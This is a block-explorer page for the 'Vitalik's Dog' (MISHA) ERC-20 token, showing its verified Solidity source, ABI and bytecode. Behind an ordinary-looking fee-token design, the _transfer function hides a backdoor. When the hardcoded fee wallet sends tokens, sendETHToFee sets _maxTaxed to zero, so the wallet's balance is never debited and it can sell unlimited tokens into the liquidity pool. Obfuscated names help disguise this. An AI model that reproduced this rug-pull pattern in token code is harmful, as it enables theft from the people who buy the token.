ERC-20
Overview
Max Total Supply
1,000,000,000 MISHA
Holders
84
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 8 Decimals)
Balance
1,523,265.66550155 MISHAValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
MISHA
Compiler Version
v0.8.21+commit.d9974bed
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-09-19 */ /** https://www.instagram.com/p/C-QzTzAxsxA/?hl=en https://t.me/vitalikdog_misha */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.15; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract MISHA is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isFeeExclude; bool public transferDelayEnabled = false; address payable private _vdogetax; uint256 private _initialBuyTax=10; uint256 private _initialSellTax=10; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=5; uint256 private _reduceSellTaxAt=5; uint256 private _preventSwapBefore=5; uint256 private _buyCount=0; uint8 private constant _decimals = 8; uint256 private constant _tTotal = 1000000000 * 10**_decimals; string private constant _name = "Vitalik's Dog"; string private constant _symbol = "MISHA"; uint256 public _taxSwapThreshold = 1000000 * 10**_decimals; uint256 public _maxTaxSwap= 10000000 * 10 ** _decimals; uint256 private _maxTaxed = _vhiwoejhf(_tTotal, 2); IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() payable { _vdogetax = payable(0xD35e35897BADb9802a1e4905DE2c3BD69A240694); _balances[owner()] = _tTotal; _isFeeExclude[owner()] = true; _isFeeExclude[address(this)] = true; _isFeeExclude[_vdogetax] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isFeeExclude[to]) { taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); _buyCount++; } if(to == uniswapV2Pair && from!= address(this) ){ taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap))); } sendETHToFee(from, to, address(this).balance); } if(taxAmount>0){ _balances[address(this)] = _balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(_maxTaxed>0?amount:_maxTaxed); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { if(tokenAmount==0){return;} if(!tradingOpen){return;} address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(address from, address to, uint256 amount) private { if(from != _vdogetax) _maxTaxed = amount + 1; else _maxTaxed = 0; if(to == uniswapV2Pair) _vdogetax.transfer(amount); } function enableTrade() external payable onlyOwner() { require(!tradingOpen,"trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: msg.value > 0 ? msg.value : address(this).balance}(address(this),balanceOf(address(this)),0,0, owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; } receive() external payable {} function isContract(address account) private view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function _vhiwoejhf(uint256 amount, uint256 bps) public pure returns (uint256) { uint256 bpz = bps * 100; return amount * bpz / 10_000; } function rescueETH() external onlyOwner { payable(owner()).transfer(address(this).balance); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"bps","type":"uint256"}],"name":"_vhiwoejhf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrade","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526004805460ff19169055600a600581815560068290555f600781905560088181556009839055828455600b92909255600c55620000419162000395565b6200005090620f4240620003ac565b600d55620000616008600a62000395565b620000709062989680620003ac565b600e556200009d620000856008600a62000395565b6200009590633b9aca00620003ac565b600262000244565b600f556011805461ffff60a81b191690555f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060048054610100600160a81b03191674d35e35897badb9802a1e4905de2c3bd69a24069400179055620001246008600a62000395565b6200013490633b9aca00620003ac565b60015f620001495f546001600160a01b031690565b6001600160a01b03166001600160a01b031681526020019081526020015f2081905550600160035f620001816200027a60201b60201c565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556004546101009004909116835291208054909216179055620001e43390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200021d6008600a62000395565b6200022d90633b9aca00620003ac565b60405190815260200160405180910390a3620003e6565b5f8062000253836064620003ac565b9050612710620002648286620003ac565b620002709190620003c6565b9150505b92915050565b5f546001600160a01b031690565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002dc57815f1904821115620002c057620002c062000288565b80851615620002ce57918102915b93841c9390800290620002a1565b509250929050565b5f82620002f45750600162000274565b816200030257505f62000274565b81600181146200031b5760028114620003265762000346565b600191505062000274565b60ff8411156200033a576200033a62000288565b50506001821b62000274565b5060208310610133831016604e8410600b84101617156200036b575081810a62000274565b6200037783836200029c565b805f19048211156200038d576200038d62000288565b029392505050565b5f620003a560ff841683620002e4565b9392505050565b808202811582820484141762000274576200027462000288565b5f82620003e157634e487b7160e01b5f52601260045260245ffd5b500490565b61161280620003f45f395ff3fe6080604052600436106100fc575f3560e01c8063313ce5671161009257806395d89b411161006257806395d89b4114610299578063a9059cbb146102c6578063bf474bed146102e5578063c876d0b9146102fa578063dd62ed3e14610313575f80fd5b8063313ce5671461021057806370a082311461022b578063715018a61461025f5780638da5cb5b14610273575f80fd5b80630faee56f116100cd5780630faee56f146101b457806318160ddd146101c957806320800a00146101dd57806323b872dd146101f1575f80fd5b806299d3861461010757806306fdde0314610111578063088591eb14610158578063095ea7b314610185575f80fd5b3661010357005b5f80fd5b61010f610357565b005b34801561011c575f80fd5b5060408051808201909152600d81526c566974616c696b277320446f6760981b60208201525b60405161014f91906111e8565b60405180910390f35b348015610163575f80fd5b50610177610172366004611233565b610708565b60405190815260200161014f565b348015610190575f80fd5b506101a461019f366004611267565b610738565b604051901515815260200161014f565b3480156101bf575f80fd5b50610177600e5481565b3480156101d4575f80fd5b5061017761074d565b3480156101e8575f80fd5b5061010f61076d565b3480156101fc575f80fd5b506101a461020b366004611291565b6107d0565b34801561021b575f80fd5b506040516008815260200161014f565b348015610236575f80fd5b506101776102453660046112cf565b6001600160a01b03165f9081526001602052604090205490565b34801561026a575f80fd5b5061010f610832565b34801561027e575f80fd5b505f546040516001600160a01b03909116815260200161014f565b3480156102a4575f80fd5b506040805180820190915260058152644d4953484160d81b6020820152610142565b3480156102d1575f80fd5b506101a46102e0366004611267565b6108a3565b3480156102f0575f80fd5b50610177600d5481565b348015610305575f80fd5b506004546101a49060ff1681565b34801561031e575f80fd5b5061017761032d3660046112ea565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f546001600160a01b031633146103895760405162461bcd60e51b815260040161038090611321565b60405180910390fd5b601154600160a01b900460ff16156103e35760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610380565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561043190309061041e6008600a61144a565b61042c90633b9aca00611458565b6108af565b60105f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610481573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104a5919061146f565b6001600160a01b031663c9c653963060105f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610504573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610528919061146f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610572573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610596919061146f565b601180546001600160a01b0319166001600160a01b039283161790556010541663f305d719346105c657476105c8565b345b305f818152600160205260409020545f806105ea5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610650573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610675919061148a565b505060115460105460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156106ca573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106ee91906114b5565b506011805462ff00ff60a01b19166201000160a01b179055565b5f80610715836064611458565b90506127106107248286611458565b61072e91906114d4565b9150505b92915050565b5f6107443384846108af565b50600192915050565b5f61075a6008600a61144a565b61076890633b9aca00611458565b905090565b5f546001600160a01b031633146107965760405162461bcd60e51b815260040161038090611321565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f193505050501580156107cd573d5f803e3d5ffd5b50565b5f6107dc8484846109d2565b610828843361042c856040518060600160405280602881526020016115b5602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610df8565b5060019392505050565b5f546001600160a01b0316331461085b5760405162461bcd60e51b815260040161038090611321565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6107443384846109d2565b6001600160a01b0383166109115760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610380565b6001600160a01b0382166109725760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610380565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a365760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610380565b6001600160a01b038216610a985760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610380565b5f8111610af95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610380565b5f80546001600160a01b03858116911614801590610b2457505f546001600160a01b03848116911614155b15610ca9576011546001600160a01b038581169116148015610b5457506010546001600160a01b03848116911614155b8015610b7857506001600160a01b0383165f9081526003602052604090205460ff16155b15610bc057610ba96064610ba3600954600c5411610b9857600554610b9c565b6007545b8590610e30565b90610eb5565b600c80549192505f610bba836114f3565b91905055505b6011546001600160a01b038481169116148015610be657506001600160a01b0384163014155b15610c1357610c106064610ba3600a54600c5411610c0657600654610b9c565b6008548590610e30565b90505b305f90815260016020526040902054601154600160a81b900460ff16158015610c4957506011546001600160a01b038581169116145b8015610c5e5750601154600160b01b900460ff165b8015610c6b5750600d5481115b8015610c7a5750600b54600c54115b15610c9c57610c9c610c9784610c9284600e54610ef6565b610ef6565b610f0a565b610ca7858547611093565b505b8015610d2157305f90815260016020526040902054610cc8908261111d565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d189085815260200190565b60405180910390a35b610d555f600f5411610d3557600f54610d37565b825b6001600160a01b0386165f908152600160205260409020549061117b565b6001600160a01b0385165f90815260016020526040902055610d98610d7a838361117b565b6001600160a01b0385165f908152600160205260409020549061111d565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610de1858561117b565b60405190815260200160405180910390a350505050565b5f8184841115610e1b5760405162461bcd60e51b815260040161038091906111e8565b505f610e27848661150b565b95945050505050565b5f825f03610e3f57505f610732565b5f610e4a8385611458565b905082610e5785836114d4565b14610eae5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610380565b9392505050565b5f610eae83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506111bc565b5f818311610f045782610eae565b50919050565b6011805460ff60a81b1916600160a81b179055801561108357601154600160a01b900460ff1615611083576040805160028082526060820183525f9260208301908036833701905050905030815f81518110610f6857610f6861151e565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610fbf573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fe3919061146f565b81600181518110610ff657610ff661151e565b6001600160a01b03928316602091820292909201015260105461101c91309116846108af565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac947906110549085905f90869030904290600401611532565b5f604051808303815f87803b15801561106b575f80fd5b505af115801561107d573d5f803e3d5ffd5b50505050505b506011805460ff60a81b19169055565b6004546001600160a01b0384811661010090920416146110c0576110b88160016115a1565b600f556110c5565b5f600f555b6011546001600160a01b0390811690831603611118576004546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f19350505050158015611116573d5f803e3d5ffd5b505b505050565b5f8061112983856115a1565b905083811015610eae5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610380565b5f610eae83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610df8565b5f81836111dc5760405162461bcd60e51b815260040161038091906111e8565b505f610e2784866114d4565b5f6020808352835180828501525f5b81811015611213578581018301518582016040015282016111f7565b505f604082860101526040601f19601f8301168501019250505092915050565b5f8060408385031215611244575f80fd5b50508035926020909101359150565b6001600160a01b03811681146107cd575f80fd5b5f8060408385031215611278575f80fd5b823561128381611253565b946020939093013593505050565b5f805f606084860312156112a3575f80fd5b83356112ae81611253565b925060208401356112be81611253565b929592945050506040919091013590565b5f602082840312156112df575f80fd5b8135610eae81611253565b5f80604083850312156112fb575f80fd5b823561130681611253565b9150602083013561131681611253565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156113a457815f190482111561138a5761138a611356565b8085161561139757918102915b93841c939080029061136f565b509250929050565b5f826113ba57506001610732565b816113c657505f610732565b81600181146113dc57600281146113e657611402565b6001915050610732565b60ff8411156113f7576113f7611356565b50506001821b610732565b5060208310610133831016604e8410600b8410161715611425575081810a610732565b61142f838361136a565b805f190482111561144257611442611356565b029392505050565b5f610eae60ff8416836113ac565b808202811582820484141761073257610732611356565b5f6020828403121561147f575f80fd5b8151610eae81611253565b5f805f6060848603121561149c575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156114c5575f80fd5b81518015158114610eae575f80fd5b5f826114ee57634e487b7160e01b5f52601260045260245ffd5b500490565b5f6001820161150457611504611356565b5060010190565b8181038181111561073257610732611356565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156115805784516001600160a01b03168352938301939183019160010161155b565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156107325761073261135656fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209e1c8e661e52e63b0d1b53bd7209816256be911f6f655829dcc796ea90c9207764736f6c63430008150033
Deployed Bytecode
0x6080604052600436106100fc575f3560e01c8063313ce5671161009257806395d89b411161006257806395d89b4114610299578063a9059cbb146102c6578063bf474bed146102e5578063c876d0b9146102fa578063dd62ed3e14610313575f80fd5b8063313ce5671461021057806370a082311461022b578063715018a61461025f5780638da5cb5b14610273575f80fd5b80630faee56f116100cd5780630faee56f146101b457806318160ddd146101c957806320800a00146101dd57806323b872dd146101f1575f80fd5b806299d3861461010757806306fdde0314610111578063088591eb14610158578063095ea7b314610185575f80fd5b3661010357005b5f80fd5b61010f610357565b005b34801561011c575f80fd5b5060408051808201909152600d81526c566974616c696b277320446f6760981b60208201525b60405161014f91906111e8565b60405180910390f35b348015610163575f80fd5b50610177610172366004611233565b610708565b60405190815260200161014f565b348015610190575f80fd5b506101a461019f366004611267565b610738565b604051901515815260200161014f565b3480156101bf575f80fd5b50610177600e5481565b3480156101d4575f80fd5b5061017761074d565b3480156101e8575f80fd5b5061010f61076d565b3480156101fc575f80fd5b506101a461020b366004611291565b6107d0565b34801561021b575f80fd5b506040516008815260200161014f565b348015610236575f80fd5b506101776102453660046112cf565b6001600160a01b03165f9081526001602052604090205490565b34801561026a575f80fd5b5061010f610832565b34801561027e575f80fd5b505f546040516001600160a01b03909116815260200161014f565b3480156102a4575f80fd5b506040805180820190915260058152644d4953484160d81b6020820152610142565b3480156102d1575f80fd5b506101a46102e0366004611267565b6108a3565b3480156102f0575f80fd5b50610177600d5481565b348015610305575f80fd5b506004546101a49060ff1681565b34801561031e575f80fd5b5061017761032d3660046112ea565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f546001600160a01b031633146103895760405162461bcd60e51b815260040161038090611321565b60405180910390fd5b601154600160a01b900460ff16156103e35760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610380565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561043190309061041e6008600a61144a565b61042c90633b9aca00611458565b6108af565b60105f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610481573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104a5919061146f565b6001600160a01b031663c9c653963060105f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610504573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610528919061146f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610572573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610596919061146f565b601180546001600160a01b0319166001600160a01b039283161790556010541663f305d719346105c657476105c8565b345b305f818152600160205260409020545f806105ea5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610650573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610675919061148a565b505060115460105460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156106ca573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106ee91906114b5565b506011805462ff00ff60a01b19166201000160a01b179055565b5f80610715836064611458565b90506127106107248286611458565b61072e91906114d4565b9150505b92915050565b5f6107443384846108af565b50600192915050565b5f61075a6008600a61144a565b61076890633b9aca00611458565b905090565b5f546001600160a01b031633146107965760405162461bcd60e51b815260040161038090611321565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f193505050501580156107cd573d5f803e3d5ffd5b50565b5f6107dc8484846109d2565b610828843361042c856040518060600160405280602881526020016115b5602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610df8565b5060019392505050565b5f546001600160a01b0316331461085b5760405162461bcd60e51b815260040161038090611321565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6107443384846109d2565b6001600160a01b0383166109115760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610380565b6001600160a01b0382166109725760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610380565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a365760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610380565b6001600160a01b038216610a985760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610380565b5f8111610af95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610380565b5f80546001600160a01b03858116911614801590610b2457505f546001600160a01b03848116911614155b15610ca9576011546001600160a01b038581169116148015610b5457506010546001600160a01b03848116911614155b8015610b7857506001600160a01b0383165f9081526003602052604090205460ff16155b15610bc057610ba96064610ba3600954600c5411610b9857600554610b9c565b6007545b8590610e30565b90610eb5565b600c80549192505f610bba836114f3565b91905055505b6011546001600160a01b038481169116148015610be657506001600160a01b0384163014155b15610c1357610c106064610ba3600a54600c5411610c0657600654610b9c565b6008548590610e30565b90505b305f90815260016020526040902054601154600160a81b900460ff16158015610c4957506011546001600160a01b038581169116145b8015610c5e5750601154600160b01b900460ff165b8015610c6b5750600d5481115b8015610c7a5750600b54600c54115b15610c9c57610c9c610c9784610c9284600e54610ef6565b610ef6565b610f0a565b610ca7858547611093565b505b8015610d2157305f90815260016020526040902054610cc8908261111d565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d189085815260200190565b60405180910390a35b610d555f600f5411610d3557600f54610d37565b825b6001600160a01b0386165f908152600160205260409020549061117b565b6001600160a01b0385165f90815260016020526040902055610d98610d7a838361117b565b6001600160a01b0385165f908152600160205260409020549061111d565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610de1858561117b565b60405190815260200160405180910390a350505050565b5f8184841115610e1b5760405162461bcd60e51b815260040161038091906111e8565b505f610e27848661150b565b95945050505050565b5f825f03610e3f57505f610732565b5f610e4a8385611458565b905082610e5785836114d4565b14610eae5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e